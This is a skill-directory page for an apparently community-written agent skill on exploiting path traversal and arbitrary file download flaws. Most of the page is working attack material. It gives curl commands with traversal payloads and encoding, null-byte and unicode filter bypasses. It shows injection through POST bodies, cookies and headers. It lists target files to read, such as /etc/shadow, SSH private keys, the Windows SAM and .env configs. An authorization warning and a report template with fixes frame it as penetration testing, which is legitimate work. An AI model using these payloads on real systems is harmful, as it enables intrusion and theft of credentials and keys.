crazymarky/pentest-skills/scripts

Name: scripts
Author: crazymarky

Claude Code and agent skill by crazymarky/pentest-skills

Trust tier 2

community

LLM review pending

Source check pending

Checking that the SKILL.md file is still in the repository.

Arbitrary file download vulnerability detection and exploitation using path traversal techniques, bypass methods, and sensitive file discovery. Use this skill when user needs to test for file download vulnerabilities, path traversal, or read sensitive files on target systems.

Install

npx vskill@latest install crazymarky/pentest-skills/scripts

SKILL.md

Arbitrary File Download Detection & Exploitation

Authorization Warning

DANGER: File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:

Written permission from the target system owner
Isolated testing environment
Defined scope of testing
Legal compliance with local regulations

Never test file download vulnerabilities on production systems without authorization.

Prerequisites

Required Tools

bash

# Python 3 with requests library
pip install requests
 
# Optional: curl for manual testing
# Built-in on most systems

Optional Tools

bash

# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# ffuf for parameter fuzzing

Quick Start

Basic Path Traversal Test

bash

# Manual test with curl
curl "https://target.com/download?file=../../../etc/passwd"
 
# Using the automated tester
python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"

Sensitive File Scanner

bash

# Scan for sensitive files after confirming vulnerability
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux

Common Scenarios

1. Basic Path Traversal Testing

Test for basic directory traversal vulnerabilities:

bash

# Manual testing
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=....//....//etc/passwd"
 
# Automated testing
python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"

What to check:

Does the parameter accept ../ sequences?
Can you access files outside the intended directory?
What is the response when accessing system files?

Common payload patterns:

../../../etc/passwd
....//....//....//etc/passwd
..\..\..\..\windows\win.ini

2. URL Encoded Bypass

When basic traversal is blocked, try URL encoding:

bash

# Single URL encoding
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
 
# Double URL encoding
curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

Encoding variations:

Type	Payload
URL encoded	`%2e%2e%2f`
Double encoded	`%252e%252e%252f`
Mixed	`..%2f..%2f`

3. Null Byte Injection

When extension validation exists:

bash

# Null byte to truncate extension check
curl "https://target.com/download?file=../../../etc/passwd%00.jpg"
curl "https://target.com/download?file=../../../etc/passwd%00.png"

Works against:

Simple extension validation
Some path sanitization filters

4. Unicode/Double Write Bypass

When standard payloads are filtered:

bash

# Unicode encoding
curl "https://target.com/download?file=..%c0%af..%c0%af..%c0%afetc/passwd"
 
# Double write (....//)
curl "https://target.com/download?file=....//....//....//etc/passwd"
 
# Mixed separators
curl "https://target.com/download?file=..%5c..%5c..%5cetc/passwd"

5. Sensitive File Discovery

After confirming vulnerability, discover sensitive files:

bash

# Linux targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
 
# Windows targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os windows
 
# Custom file list
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --wordlist custom_files.txt

High-value targets (Linux):

/etc/passwd          - User accounts
/etc/shadow          - Password hashes (requires root)
/etc/hosts           - Host mappings
/proc/self/environ   - Environment variables
/var/log/apache2/access.log - Access logs
/home/user/.ssh/id_rsa - SSH private keys
/var/www/html/config.php - Web app configs

High-value targets (Windows):

C:\Windows\win.ini           - Windows configuration
C:\Windows\System32\config\SAM - User accounts
C:\inetpub\wwwroot\web.config - IIS configuration
C:\Users\Administrator\.ssh\id_rsa - SSH keys

6. Application Config Discovery

Target web application configuration files:

bash

# Common web app configs
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../.env
../../../web.config

Framework-specific paths:

Framework	Config Path
WordPress	`wp-config.php`
Laravel	`.env`
Django	`settings.py`
ASP.NET	`web.config`
Spring	`application.properties`

7. POST Request Testing

Test POST parameters for file download:

bash

# Save request to file
cat > request.txt << 'EOF'
POST /download HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
 
file=document.pdf
EOF
 
# Test with curl
curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"

8. Cookie/Header Testing

Test non-parameter injection points:

bash

# Cookie parameter
curl "https://target.com/download" --cookie "filename=../../../etc/passwd"
 
# Custom header
curl "https://target.com/download" -H "X-File-Path: ../../../etc/passwd"
 
# Referer header
curl "https://target.com/download" -H "Referer: https://target.com/?file=../../../etc/passwd"

Tool Selection Guide

Scenario	Tool	Command
Quick manual test	curl	`curl "URL?file=../../../etc/passwd"`
Automated scanning	file_download_tester.py	`python scripts/file_download_tester.py -u URL`
Sensitive file scan	sensitive_file_scanner.py	`python scripts/sensitive_file_scanner.py -u URL --os linux`
Parameter fuzzing	ffuf	`ffuf -u "URL?file=FUZZ" -w wordlist.txt`
Custom payload test	curl	`curl "URL?file=$(cat payload.txt)"`

Testing Checklist

Discovery Phase

[ ] Identify all download endpoints (URL params, forms, API endpoints)
[ ] Test basic path traversal (../)
[ ] Check response headers for file type information

Bypass Testing

[ ] URL encoding (%2e%2e%2f)
[ ] Double URL encoding (%252e%252e%252f)
[ ] Null byte injection (%00)
[ ] Unicode encoding (%c0%af)
[ ] Double write (....//)
[ ] Mixed separators (..\ on Windows)
[ ] Path truncation

Sensitive File Testing

[ ] Linux system files (/etc/passwd, /etc/shadow)
[ ] Windows system files (win.ini, SAM)
[ ] Application configs (.env, config.php)
[ ] SSH keys (id_rsa, authorized_keys)
[ ] Log files (access.log, error.log)
[ ] Database files

Post-Exploitation

[ ] Document all accessible files
[ ] Identify sensitive data exposed
[ ] Report severity based on data sensitivity

Resources

Scripts

scripts/file_download_tester.py - Automated vulnerability detection
scripts/sensitive_file_scanner.py - Sensitive file enumeration

Reference Documentation

references/bypass_techniques.md - Detailed bypass methods
references/sensitive_files.md - Comprehensive file lists

Assets/Wordlists

assets/traversal_payloads.txt - Path traversal payloads
assets/linux_sensitive_files.txt - Linux sensitive file paths
assets/windows_sensitive_files.txt - Windows sensitive file paths

External Resources

Reporting Format

When reporting file download vulnerabilities, include:

╔═══════════════════════════════════════════════════════╗
║         File Download Vulnerability Report            ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/download                   ║
║ Type: Path Traversal                                  ║
║ Severity: High                                        ║
╚═══════════════════════════════════════════════════════╝
 
Vulnerable Parameter: file
Payload: ../../../etc/passwd
 
Proof of Concept:
curl "https://target.com/download?file=../../../etc/passwd"
 
Files Confirmed Accessible:
- /etc/passwd (user accounts)
- /etc/hosts (network config)
- /var/www/html/config.php (database credentials)
 
Impact:
- Access to sensitive system files
- Exposure of database credentials
- Potential for further exploitation
 
Recommendations:
- Implement strict path validation
- Use allowlist for permitted files
- Sanitize user input for path characters
- Use chroot or container isolation

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingexploit-file-download/scripts/SKILL.md

Popularity

Repository stars: 216
Repository forks: 26
7-day trend score: 27

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/crazymarky/pentest-skills/scripts/badge)](https://verified-skill.com/skills/crazymarky/pentest-skills/scripts)

Something wrong with this skill or its page? Tell us.